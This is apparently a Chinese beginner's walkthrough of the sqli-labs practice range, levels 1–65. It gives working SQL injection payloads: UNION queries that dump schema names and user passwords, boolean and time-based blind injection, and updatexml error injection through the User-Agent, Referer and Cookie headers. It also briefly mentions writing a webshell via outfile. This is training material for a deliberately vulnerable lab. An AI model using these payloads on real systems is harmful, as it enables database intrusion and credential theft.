sqli-labs1-65大致通关攻略
靶场搭建攻略大家可以在网上自行百度,小白我选择的是用docker,这也是一次docker的初尝试,第一次发现原来docker的容器技术这么博大精深,镜像下载之后,容器内就可以带自己的数据库,甚至不需要再自己搭建,真的方便,顺便讲一下查找你的数据库的方法,docker exec -it CONTAINER ID /bin/bash进入容器后按照正常方法查看就OK了
首先先对一些基础的知识进行下总结。
有回显的SQL注入
执行SQL查询,其结果能回显到页面中,那么可直接进行有回显的SQL注入
查询语句
i d = id= id=_GET[‘id’];
SELECT * FROM test WHERE id=’$id’ LIMIT 0,1;
判断字段数
?id=1’ ORDER BY 3–+
判断显示位
?id=-1’ UNION SELECT 1,2,3–+
利用函数获得信息
?id=-1 UNION SELECT 1,(version()),3–+
爆库
?id=-1’ UNION SELECT 1,(SELECT schema_name FROM information_schema.schemata LIMIT 0,1),3–+ //用LIMIT来定位查询,一个一个爆数据库
?id=-1’ UNION SELECT 1,group_concat(schema_name),3 FROM information_schema.schemata–+ //用group_concat()实现一个显示位爆出该字段下所有记录
爆表
?id=-1’ UNION SELECT 1,(SELECT table_name FROM information_schema.tables WHERE table_schema=‘security’ LIMIT 0,1),3–+
爆字段
?id=-1’ UNION SELECT 1,(SELECT column_name FROM information_schema.columns WHERE table_schema=‘security’ AND table_name=‘users’ LIMIT 0,1),3–+
爆数据
?id=-1’ UNION SELECT 1,(SELECT username FROM security.users LIMIT 0,1),3–+
get型注入,简而言之就是在url栏上进行注入。其中的方式
?id=-1’ union select 1,2,database() --+
?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
?id=0’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’ --+
?id=0’ union select 1,2,group_concat(username,0x3a,password) from users–+
注意:我们做这些题的最终目的都是能得出用户名和密码。
第一关GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)和第二关GET - Error based - Intiger based (基于错误的GET整型注入):
其实第一关和第二关基本差不多,他们的区别是:第一关是字符型注入,而第二关是数字型注入,基本的查询语句以及方法都是差不多的。(可以用1和1’进行一下区分)
首先我们需要进行一下判断:?id=1 and 1=2 --+是否是字符型注入,我们看到回显正常,不是数字型注入。id=1 and 1=1 --+
我们在后面加上–+进行一下闭合,(–+就是注释符号,注释了后面的语句),look,回显正常,说明是单引号字符型注入
接下来判断表有几列数剧
接下来我们我们来找出显示位。(?id=1’ and 1=2 union select 1,2,3 --+),经过试验发现2、3位是显示位,那么我们就可以从这两个突破口进行突破。
接下来我们就来找出数据库的数据库名、表名、列名、和字段的信息。
我们先查一下版本和名字:(?id=1’ and 1=2 union select 1,version(),database() --+)
接下来可以依据这个和回显位来进行数据库名字的查看:?id=1’ AND 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
查询security的所有表的表名:?id=1’ AND 1=2 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’)–+
接着爆破出列名:?id=1’ AND 1=2 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=‘users’) --+
最后就可以查找出用户名和密码了:?id=1’ AND 1=2 union select 1,(select group_concat(password) from security.users) ,(select group_concat(username) from security.users) --+
Less-2
首先,输入/?id=1正常,输入/?id=1’–+或/?id=1’)–+都错误,说明该关为数字型注入,不需要闭合。其他查询语句见Less-1。
Less-3
首先,输入/?id=1正常,输入/?id=1’–+错误,输入/?id=1’)–+页面显示正常,说明该关以’)和–+闭合。其他查询语句见Less-1。
Less-4
首先,输入/?id=1正常,输入/?id=1’–+和/?id=1’)–+页面正常,但用order by 查询字段数时页面无变化,换成/?id=1") order by 4–+,页面变化。说明该关以")和–+闭合。其他查询语句见Less-4
Less-5
首先,输入/?id=1,显示you are in。。。。,按照之前的方式我们还可以判断出他有三列,我们可以选择使用burpsuite进行爆破,也可以选用二分法还有什么报错型注入,需要我在之后的学习下进一步了解了。。
Less-6
与LESS5类似
Less-7
首先学习函数
要入文件录入的方式,outfile函数 dumpfile函数
outfile函数就是将数据库的查询内容导出到一个外部文件
dumpfile 转储函数
转储函数只能储存一行数据所以我们在导出的时候需要加以限制
load_file 下载文件,作用是从操作系统向数据库中写入文件,和前面的outfile刚好相反在之后对文件写入一个一句话木马(没有进行实践)
Less-8
布尔型单引号GET盲注
再判断注入类型的时候,没有明显的报错回显,使用报错语句没有报错,我们采用布尔型盲注数据库名字是security总共有8位,所以我们这里使用
?id=1’ and length(database())=8 --+注入
插播一个方式,很多题都可以直接用sqlmap(盲注效率低)之后的学习我会去了解
Less-9
if(a,b,c)函数: 判断a,如果a为真,则执行b;a为假,则执行。
sleep(x)函数: 延迟x秒
本关采用时间延迟盲注
输入 /?id=1’ and if(ascii(substr(database(),1,1))>‘98’),sleep(5),1)–+,如果为真,就延迟5s出现网页结果。依次推出库名。
less-10
延迟注入,用SQLMAP直接跑
Less-11-16
我们先用burp抓包,获得uname=admin&passwd=admin&submit=Submit
之后还是先让他报错。判断闭合方式,uname=ad”)or 1=1#&passwd=admin&submit=Submit
题型变化不大
Less-17
与前面出现了不同,这里开始过滤掉了我们一开始的注入了,会被转义我们选择一些报错注入的方式,用updatexml使我们想要得到的信息进行回显
Less18
基于’的User-Agent:报头文报错注入,注入语句:
‘,1,updatexml(1,concat(0x7e, database(),0x7e),1))#
先用Burp Suite抓取输入正确用户密码的登录页面,然后在报头文User-Agent:后加入注入语句即可
Less-19
把报头文改成referer:就行了
Less-20
方法与上面类似报头文改成cookie:
注入语句uname=’ union select 1,2,(updatexml(1,concat(0x7e, database(),0x7e),1))# ;
Less-21-38
“高级注入”
less-21——基于’)字符型的Cookie注入
less-22——基于"字符型的Cookie注入
less-23——过滤注释的GET型注入
less-24——二次注入
假设我们有账号admin,利用一些很巧妙的手段注册时后面填加符号,然后修改密码,此时登陆admin会发现与添加符号的修改后密码一样
less-25——过滤or和and的单引号注入
注入语句:
id=-1’ union select 1,2,3–
less-26——基于’过滤注释和空格的注入
less-27——基于’过滤union、select与注释和空格的注入
less-28——基于’)过滤union和select等的注入
less-29 index.php——基于单引号字符型的注入
less-30 index.php——基于双引号字符型的注入
less-31——基于")字符型的注入
less-32——宽字节注入
less-33——get方式宽字节注入
less-34——post方式宽字节注入
less-35——数值型注入
less-36——宽字节注入
less-37——宽字节post注入(堆叠注入)
less38-结尾
要先对堆叠注入有一定的了解https://mp.weixin.qq.com/s?src=11×tamp=1594825715&ver=2462&signature=K3HpnB6HohEgm0alwqMvm5JR3HWAkxfQ9qv-1n1TLDU7IJKr4CMD3GwipFapQH75zSoRkYPvXEfLeJWlfKThQhR98BMsHTPcmTBV09RcMTX19DpXWNURS02nJildKg&new=1
大家可以点开这个网址进行下了解哈,sql语句是可以很多条一起执行的
less46 order by 常见注入虽然都是在用户id,帐号密码等地方进行注入,但有时也可能出现注入点在order by语句之后
less47-54对前面知识更加深入后我会再来试一下,现在只能根据前人的经验进行抄袭。。
less54-65
同样是联合查询,但它可以进行了次数的限制。。。。我还没有那个能完善的能力,讲解他。。。
求大佬们包容